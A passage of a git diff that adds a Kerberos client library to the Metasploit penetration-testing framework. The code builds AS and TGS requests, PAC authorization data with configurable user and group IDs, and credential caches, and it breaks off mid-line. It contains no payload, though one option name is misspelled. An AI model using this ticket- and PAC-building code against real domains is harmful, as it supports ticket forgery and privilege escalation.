diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 033add379b..a5e3256a3c 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -18,12 +18,12 @@ module Metasploit hash = '-' + version_info['build_framework_rev'] else # determine if git is installed - void = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null' - git_installed = system("git --version >>#{void} 2>&1") + null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null' + git_installed = system("git --version > #{null} 2>&1") # get the hash of the HEAD commit if git_installed && File.exist?(File.join(root, '.git')) - hash = '-' + `git rev-parse HEAD`[0, 8] + hash = '-' + `git rev-parse --short HEAD` end end hash.strip diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 311e2ef780..fb09518600 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -67,9 +67,6 @@ require 'msf/core/nop' require 'msf/core/payload' require 'msf/core/post' -# Kerberos Support -require 'msf/kerberos/client' - # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/exploit/kerberos/client.rb b/lib/msf/core/exploit/kerberos/client.rb new file mode 100644 index 0000000000..3a6e7d36fb --- /dev/null +++ b/lib/msf/core/exploit/kerberos/client.rb @@ -0,0 +1,143 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + class Exploit + class Remote + module Kerberos + module Client + require 'msf/core/exploit/kerberos/client/base' + require 'msf/core/exploit/kerberos/client/as_request' + require 'msf/core/exploit/kerberos/client/as_response' + require 'msf/core/exploit/kerberos/client/tgs_request' + require 'msf/core/exploit/kerberos/client/tgs_response' + require 'msf/core/exploit/kerberos/client/pac' + require 'msf/core/exploit/kerberos/client/cache_credential' + + include Msf::Exploit::Remote::Kerberos::Client::Base + include Msf::Exploit::Remote::Kerberos::Client::AsRequest + include Msf::Exploit::Remote::Kerberos::Client::AsResponse + include Msf::Exploit::Remote::Kerberos::Client::TgsRequest + include Msf::Exploit::Remote::Kerberos::Client::TgsResponse + include Msf::Exploit::Remote::Kerberos::Client::Pac + include Msf::Exploit::Remote::Kerberos::Client::CacheCredential + + # @!attribute client + # @return [Rex::Proto::Kerberos::Client] The kerberos client + attr_accessor :client + + def initialize(info = {}) + super + + register_options( + [ + Opt::RHOST, + Opt::RPORT(88), + OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10]) + ], self.class + ) + end + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the remote port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the TCP timeout + # + # @return [Fixnum] + def timeout + datastore['Timeout'] + end + + # Returns the kdc peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Creates a kerberos connection + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :rhost + # @option opts [] :rport + # @return [Rex::Proto::Kerberos::Client] + def connect(opts={}) + kerb_client = Rex::Proto::Kerberos::Client.new( + host: opts[:rhost] || rhost, + port: (opts[:rport] || rport).to_i, + timeout: (opts[:timeout] || timeout).to_i, + context: + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + protocol: 'tcp' + ) + + disconnect if client + self.client = kerb_client + + kerb_client + end + + # Disconnects the Kerberos client + # + # @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect + def disconnect(kerb_client = client) + kerb_client.close if kerb_client + + if kerb_client == client + self.client = nil + end + end + + # Performs cleanup as necessary, disconnecting the Kerberos client + # if it's still established. + def cleanup + super + disconnect + end + + # Sends a kerberos AS request and reads the response + # + # @param opts [Hash] + # @return [Rex::Proto::Kerberos::Model::KdcResponse] + # @see Msf::Kerberos::Client::AsRequest#build_as_request + # @see Rex::Proto::Kerberos::Model::KdcResponse + def send_request_as(opts = {}) + connect(opts) + req = build_as_request(opts) + res = client.send_recv(req) + disconnect + res + end + + # Sends a kerberos AS request and reads the response + # + # @param opts [Hash] + # @return [Rex::Proto::Kerberos::Model::KdcResponse] + # @see Msf::Kerberos::Client::TgsRequest#build_tgs_request + # @see Rex::Proto::Kerberos::Model::KdcResponse + def send_request_tgs(opts = {}) + connect(opts) + req = build_tgs_request(opts) + res = client.send_recv(req) + disconnect + res + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/kerberos/client/as_request.rb b/lib/msf/core/exploit/kerberos/client/as_request.rb new file mode 100644 index 0000000000..62f2dc4593 --- /dev/null +++ b/lib/msf/core/exploit/kerberos/client/as_request.rb @@ -0,0 +1,114 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + class Exploit + class Remote + module Kerberos + module Client + module AsRequest + # Builds a kerberos AS request + # + # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::Model::KdcRequestBody>}] + # @option opts [Array] :pa_data + # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body + # @return [Rex::Proto::Kerberos::Model::KdcRequest] + # @see [Rex::Proto::Kerberos::Model::KdcRequest] + # @see #build_as_pa_time_stamp + # @see #build_as_request_body + def build_as_request(opts = {}) + pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts) + body = opts[:body] || build_as_request_body(opts) + + request = Rex::Proto::Kerberos::Model::KdcRequest.new( + pvno: 5, + msg_type: Rex::Proto::Kerberos::Model::AS_REQ, + pa_data: pa_data, + req_body: body + ) + + request + end + + # Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure + # + # @param opts [Hash{Symbol => }] + # @option opts [Time] :time_stamp + # @option opts [Fixnum] :pausec + # @option opts [Fixnum] :etype + # @option opts [String] :key + # @return [Rex::Proto::Kerberos::Model::PreAuthData] + # @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::PreAuthData + def build_as_pa_time_stamp(opts = {}) + time_stamp = opts[:time_stamp] || Time.now + pausec = opts[:pausec] || 0 + etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + key = opts[:key] || '' + + pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new( + pa_time_stamp: time_stamp, + pausec: pausec + ) + + enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: etype, + cipher: pa_time_stamp.encrypt(etype, key) + ) + + pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP, + value: enc_time_stamp.encode + ) + + pa_enc_time_stamp + end + + # Builds a kerberos AS request body + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :options + # @option opts [Time] :from + # @option opts [Time] :till + # @option opts [Time] :rtime + # @option opts [Fixnum] :nonce + # @option opts [Fixnum] :etype + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + # @see #build_client_name + # @see #build_server_name + # @see Rex::Proto::Kerberos::Model::KdcRequestBody + def build_as_request_body(opts = {}) + options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable + from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') + till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') + rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') + nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i + etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + sname = opts[:sname] || build_server_name(opts) + + body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( + options: options, + cname: cname, + realm: realm, + sname: sname, + from: from, + till: till, + rtime: rtime, + nonce: nonce, + etype: etype + ) + + body + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/kerberos/client/as_response.rb b/lib/msf/core/exploit/kerberos/client/as_response.rb new file mode 100644 index 0000000000..3ebd852422 --- /dev/null +++ b/lib/msf/core/exploit/kerberos/client/as_response.rb @@ -0,0 +1,49 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + class Exploit + class Remote + module Kerberos + module Client + module AsResponse + # Extracts the session key from a Kerberos AS Response + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @see Rex::Proto::Kerberos::Model::KdcResponse + # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def extract_session_key(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) + enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + + enc_kdc_res.key + end + + # Extracts the logon time from a Kerberos AS Response + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Fixnum] + # @see Rex::Proto::Kerberos::Model::KdcResponse + # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + def extract_logon_time(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) + enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + + auth_time = enc_kdc_res.auth_time + + auth_time.to_i + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/kerberos/client/base.rb b/lib/msf/core/exploit/kerberos/client/base.rb new file mode 100644 index 0000000000..cb44a48507 --- /dev/null +++ b/lib/msf/core/exploit/kerberos/client/base.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module Kerberos + module Client + module Base + + # Builds a kerberos Client Name Principal + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :client_name the client's name + # @option opts [Fixnum] :client_type the client's name type + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + # @see Rex::Proto::Kerberos::Model::PrincipalName + def build_client_name(opts = {}) + name = opts[:client_name] || '' + name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL + + Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: name_type, + name_string: name.split('/') + ) + end + + # Builds a kerberos Server Name Principal + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :server_name the server's name + # @option opts [Fixnum] :server_type the server's name type + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + # @see Rex::Proto::Kerberos::Model::PrincipalName + def build_server_name(opts = {}) + name = opts[:server_name] || '' + name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL + + Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: name_type, + name_string: name.split('/') + ) + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/kerberos/client/cache_credential.rb b/lib/msf/core/exploit/kerberos/client/cache_credential.rb new file mode 100644 index 0000000000..5c4eb96fa2 --- /dev/null +++ b/lib/msf/core/exploit/kerberos/client/cache_credential.rb @@ -0,0 +1,152 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + class Exploit + class Remote + module Kerberos + module Client + module CacheCredential + + # Builds a MIT Credential Cache + # + # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::CredentialCache::Principal, Array>}] + # @option opts [Fixnum] :version + # @option opts [Array] :headers + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal + # @option opts [Array] :credentials + # @return [Rex::Proto::Kerberos::CredentialCache::Cache] + # @see Rex::Proto::Kerberos::CredentialCache::Cache + def create_cache(opts = {}) + version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION + headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER] + primary_principal = opts[:primary_principal] || create_cache_principal(opts) + credentials = opts[:credentials] || [create_cache_credential(opts)] + + cache = Rex::Proto::Kerberos::CredentialCache::Cache.new( + version: version, + headers: headers, + primary_principal: primary_principal, + credentials: credentials + ) + + cache + end + + # Builds a MIT Credential Cache principal + # + # @param opts [Hash<{Symbol => >}>] + # @option opts [Fixnum] :name_type + # @option opts [String] :realm + # @option opts [Array] :components + # @return [Rex::Proto::Kerberos::CredentialCache::Principal] + # @see Rex::Proto::Kerberos::CredentialCache::Principal + def create_cache_principal(opts = {}) + name_type = opts[:name_type] || 0 + realm = opts[:realm] || '' + components = opts[:components] || [''] + + principal = Rex::Proto::Kerberos::CredentialCache::Principal.new( + name_type: name_type, + realm: realm, + components:components + ) + + principal + end + + # Builds a MIT Credential Cache key block + # + # @param opts [Hash<{Symbol => }>] + # @option opts [Fixnum] :key_type + # @option opts [Fixnum] :e_type + # @option opts [String] :key_value + # @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock] + # @see Rex::Proto::Kerberos::CredentialCache::KeyBlock + def create_cache_key_block(opts = {}) + key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + e_type = opts[:e_type] || 0 + key_value = opts[:key_value] || '' + + key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( + key_type: key_type, + e_type: e_type, + key_value: key_value + ) + + key_block + end + + # Builds a times structure linked to a credential in a MIT Credential Cache + # + # @param opts [Hash<{Symbol => Fixnum}>] + # @option opts [Fixnum] auth_time + # @option opts [Fixnum] start_time + # @option opts [Fixnum] end_time + # @option opts [Fixnum] renew_till + # @return [Rex::Proto::Kerberos::CredentialCache::Time] + # @see Rex::Proto::Kerberos::CredentialCache::Time + def create_cache_times(opts = {}) + auth_time = opts[:auth_time] || 0 + start_time = opts[:start_time] || 0 + end_time = opts[:end_time] || 0 + renew_till = opts[:renew_till] || 0 + + time = Rex::Proto::Kerberos::CredentialCache::Time.new( + auth_time: auth_time.to_i, + start_time: start_time.to_i, + end_time: end_time.to_i, + renew_till: renew_till.to_i + ) + + time + end + + # Builds a MIT Credential Cache credential + # + # @param opts [Hash<{Symbol => <>}>] + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server + # @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key + # @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time + # @option opts [Fixnum] is_key + # @option opts [Fixnum] flags + # @option opts [Array] addrs + # @option opts [Array] auth_data + # @option opts [String] ticket + # @option opts [String] second_ticket + # @return [Rex::Proto::Kerberos::CredentialCache::Credential] + # @see Rex::Proto::Kerberos::CredentialCache::Credential + def create_cache_credential(opts = {}) + client = opts[:client] || create_cache_principal(opts) + server = opts[:server] || create_cache_principal(opts) + key = opts[:key] || create_cache_key_block(opts) + time = opts[:time] || create_cache_times(opts) + is_skey = opts[:is_skey] || 0 + tkt_flags = opts[:flags] || 0 + addrs = opts[:addrs] || [] + auth_data = opts[:auth_data] || [] + ticket = opts[:ticket] || '' + second_ticket = opts[:second_ticket] || '' + + cred = Rex::Proto::Kerberos::CredentialCache::Credential.new( + client: client, + server: server, + key: key, + time: time, + is_skey: is_skey, + tkt_flags:tkt_flags, + addrs: addrs, + auth_data: auth_data, + ticket: ticket, + second_ticket: second_ticket + ) + + cred + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/kerberos/client/pac.rb b/lib/msf/core/exploit/kerberos/client/pac.rb new file mode 100644 index 0000000000..03bf256513 --- /dev/null +++ b/lib/msf/core/exploit/kerberos/client/pac.rb @@ -0,0 +1,114 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + class Exploit + class Remote + module Kerberos + module Client + module Pac + + # Builds a kerberos PA-PAC-REQUEST pre authenticated structure + # + # @param opts [Hash{Symbol => Boolean}] + # @option opts [Boolean] :pac_request_value + # @return [Rex::Proto::Kerberos::Model::Field::PreAuthData] + # @see Rex::Proto::Kerberos::Model::PreAuthPacRequest + # @see Rex::Proto::Kerberos::Model::PreAuthData + def build_pa_pac_request(opts = {}) + value = opts[:pac_request_value] || false + pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value) + pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST, + value: pac_request.encode + ) + + pa_pac_request + end + + # Builds a kerberos PACTYPE structure + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :client_name + # @option opts [Fixnum] :user_id the user SID Ex: 1000 + # @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users' + # @option opts [Array] :group_ids + # @option opts [String] :realm + # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 + # @option opts [Time] :logon_time + # @return [Rex::Proto::Kerberos::Pac::Type] + # @see Rex::Proto::Kerberos::Pac::LogonInfo + # @see Rex::Proto::Kerberos::Pac::ClientInfo + # @see Rex::Proto::Kerberos::Pac::ServerChecksum + # @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum + # @see Rex::Proto::Kerberos::Pac::Type + def build_pac(opts = {}) + user_name = opts[:client_name] || '' + user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID + primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS + group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] + domain_name = opts[:realm] || '' + domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID + logon_time = opts[:logon_time] || Time.now + checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5 + + logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new( + logon_time: logon_time, + effective_name: user_name, + user_id: user_id, + primary_group_id: primary_group_id, + group_ids: group_ids, + logon_domain_name: domain_name, + logon_domain_id: domain_id, + ) + + client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new( + client_id: logon_time, + name: user_name + ) + + server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new( + checksum: checksum_type + ) + + priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new( + checksum: checksum_type + ) + + pac_type = Rex::Proto::Kerberos::Pac::Type.new( + buffers: [ + logon_info, + client_info, + server_checksum, + priv_srv_checksum + ], + checksum: checksum_type + ) + + pac_type + end + + # Builds an kerberos AuthorizationData structure containing a PACTYPE + # + # @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}] + # @option opts [Rex::Proto::Kerberos::Pac::Type] :pac + # @return [Rex::Proto::Kerberos::Model::AuthorizationData] + # @see Rex::Proto::Kerberos::Model::AuthorizationData + def build_pac_authorization_data(opts = {}) + pac = opts[:pac] || build_pac(opts) + + pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( + elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}] + ) + authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( + elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}] + ) + + authorization_data + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/kerberos/client/tgs_request.rb new file mode 100644 index 0000000000..27670f4f10 --- /dev/null +++ b/lib/msf/core/exploit/kerberos/client/tgs_request.rb @@ -0,0 +1,277 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + class Exploit + class Remote + module Kerberos + module Client + module TgsRequest + + # Builds the encrypted Kerberos TGS request + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum + # @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator + # @option opts [Array] :pa_data + # @return [Rex::Proto::Kerberos::Model::KdcRequest] + # @raise [RuntimeError] if ticket isn't available + # @see Rex::Proto::Kerberos::Model::AuthorizationData + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::Checksum + # @see Rex::Proto::Kerberos::Model::Authenticator + # @see Rex::Proto::Kerberos::Model::PreAuthData + # @see Rex::Proto::Kerberos::Model::KdcRequest + def build_tgs_request(opts = {}) + subkey = opts[:subkey] || build_subkey(opts) + + if opts[:enc_auth_data] + enc_auth_data = opts[:enc_auth_data] + elsif opts[:auth_data] + enc_auth_data = build_enc_auth_data( + auth_data: opts[:auth_data], + subkey: subkey + ) + else + enc_auth_data = nil + end + + body = build_tgs_request_body(opts.merge( + enc_auth_data: enc_auth_data + )) + + checksum = opts[:checksum] || build_tgs_body_checksum(:body => body) + + if opts[:auhtenticator] + authenticator = opts[:authenticator] + else + authenticator = build_authenticator(opts.merge( + subkey: subkey, + checksum: checksum + )) + end + + if opts[:ap_req] + ap_req = opts[:ap_req] + else + ap_req = build_ap_req(opts.merge(:authenticator => authenticator)) + end + + pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_TGS_REQ, + value: ap_req.encode + ) + + pa_data = [] + pa_data.push(pa_ap_req) + if opts[:pa_data] + opts[:pa_data].each { |pa| pa_data.push(pa) } + end + + request = Rex::Proto::Kerberos::Model::KdcRequest.new( + pvno: 5, + msg_type: Rex::Proto::Kerberos::Model::TGS_REQ, + pa_data: pa_data, + req_body: body + ) + + request + end + + # Builds the encrypted TGS authorization data + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @return [Rex::Proto::Kerberos::Model::EncryptedData] + # @raise [RuntimeError] if auth_data option isn't provided + # @see Rex::Proto::Kerberos::Model::AuthorizationData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::EncryptedData + def build_enc_auth_data(opts = {}) + auth_data = opts[:auth_data] + + if auth_data.nil? + raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data' + end + + subkey = opts[:subkey] || build_subkey(opts) + + encrypted = auth_data.encrypt(subkey.type, subkey.value) + + e_data = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: subkey.type, + cipher: encrypted + ) + + e_data + end + + # Builds a KRB_AP_REQ message + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :pvno + # @option opts [Fixnum] :msg_type + # @option opts [Fixnum] :ap_req_options + # @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @raise [RuntimeError] if ticket option isn't provided + # @see Rex::Proto::Kerberos::Model::Ticket + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def build_ap_req(opts = {}) + pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION + msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ + options = opts[:ap_req_options] || 0 + ticket = opts[:ticket] + authenticator = opts[:authenticator] || build_authenticator(opts) + session_key = opts[:session_key] || build_subkey(opts) + + if ticket.nil? + raise ::RuntimeError, 'Building a AP-REQ without ticket not supported' + end + + enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: session_key.type, + cipher: authenticator.encrypt(session_key.type, session_key.value) + ) + + ap_req = Rex::Proto::Kerberos::Model::ApReq.new( + pvno: pvno, + msg_type: msg_type, + options: options, + ticket: ticket, + authenticator: enc_authenticator + ) + + ap_req + end + + # Builds a kerberos authenticator for a TGS request + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Time] :ctime + # @option opts [Fixnum] :cusec + # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @return [Rex::Proto::Kerberos::Model::Authenticator] + # @see Rex::Proto::Kerberos::Model::PrincipalName + # @see Rex::Proto::Kerberos::Model::Checksum + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::Authenticator + def build_authenticator(opts = {}) + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + ctime = opts[:ctime] || Time.now + cusec = opts[:cusec] || ctime.usec + checksum = opts[:checksum] || build_tgs_body_checksum(opts) + subkey = opts[:subkey] || build_subkey(opts) + + authenticator = Rex::Proto::Kerberos::Model::Authenticator.new( + vno: 5, + crealm: realm, + cname: cname, + checksum: checksum, + cusec: cusec, + ctime: ctime, + subkey: subkey + ) + + authenticator + end + + # Builds an encryption key to protect the data sent in the TGS request. + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :subkey_type + # @option opts [String] :subkey_value + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def build_subkey(opts={}) + subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16) + + subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new( + type: subkey_type, + value: subkey_value + ) + + subkey + end + + + # Builds a kerberos TGS request body + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :options + # @option opts [Time] :from + # @option opts [Time] :till + # @option opts [Time] :rtime + # @option opts [Fixnum] :nonce + # @option opts [Fixnum] :etype + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + # @see Rex::Proto::Kerberos::Model::PrincipalName + # @see Rex::Proto::Kerberos::Model::KdcRequestBody + def build_tgs_request_body(opts = {}) + options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable + from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') + till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') + rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') + nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i + etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + sname = opts[:sname] || build_server_name(opts) + enc_auth_data = opts[:enc_auth_data] || nil + + body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( + options: options, + cname: cname, + realm: realm, + sname: sname, + from: from, + till: till, + rtime: rtime, + nonce: nonce, + etype: etype, + enc_auth_data: enc_auth_data + ) + + body + end + + # Builds a Kerberos TGS Request body checksum + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body + # @return [Rex::Proto::Kerberos::Model::Checksum] + # @see #build_tgs_request_body + # @see Rex::Proto::Kerberos::Model::Checksum + def build_tgs_body_checksum(opts = {}) + body = opts[:body] || build_tgs_request_body(opts) + checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5) + checksum = Rex::Proto::Kerberos::Model::Checksum.new( + type: 7, + checksum: checksum_body + ) + + checksum + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/kerberos/client/tgs_response.rb b/lib/msf/core/exploit/kerberos/client/tgs_response.rb new file mode 100644 index 0000000000..bc16bbc9e5 --- /dev/null +++ b/lib/msf/core/exploit/kerberos/client/tgs_response.rb @@ -0,0 +1,78 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + class Exploit + class Remote + module Kerberos + module Client + module TgsResponse + + # Extracts the Kerberos credentials, buildint a MIT Cache Credential, + # from a Kerberos TGS response. + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Rex::Proto::Kerberos::CredentialCache::Cache] + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + # @see Msf::Kerberos::Client::CacheCredential + # @see Rex::Proto::Kerberos::CredentialCache::Cache + def extract_kerb_creds(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE) + enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + + client = create_cache_principal( + name_type: res.cname.name_type, + realm: res.crealm, + components: res.cname.name_string + ) + + server = create_cache_principal( + name_type: enc_res.sname.name_type, + realm: enc_res.srealm, + components: enc_res.sname.name_string + ) + + key = create_cache_key_block( + key_type: enc_res.key.type, + key_value: enc_res.key.value + ) + + times = create_cache_times( + auth_time: enc_res.auth_time, + start_time: enc_res.start_time, + end_time: enc_res.end_time, + renew_till: enc_res.renew_till + ) + + credential = create_cache_credential( + client: client, + server: server, + key: key, + time: times, + ticket: res.ticket.encode, + flags: enc_res.flags + ) + + cache_principal = create_cache_principal( + name_type: res.cname.name_type, # NT_PRINCIPAL + #realm: realm,# opts[:realm], + realm: res.crealm, + #components: user # [opts[:cname]] + components: res.cname.name_string + ) + + cache = 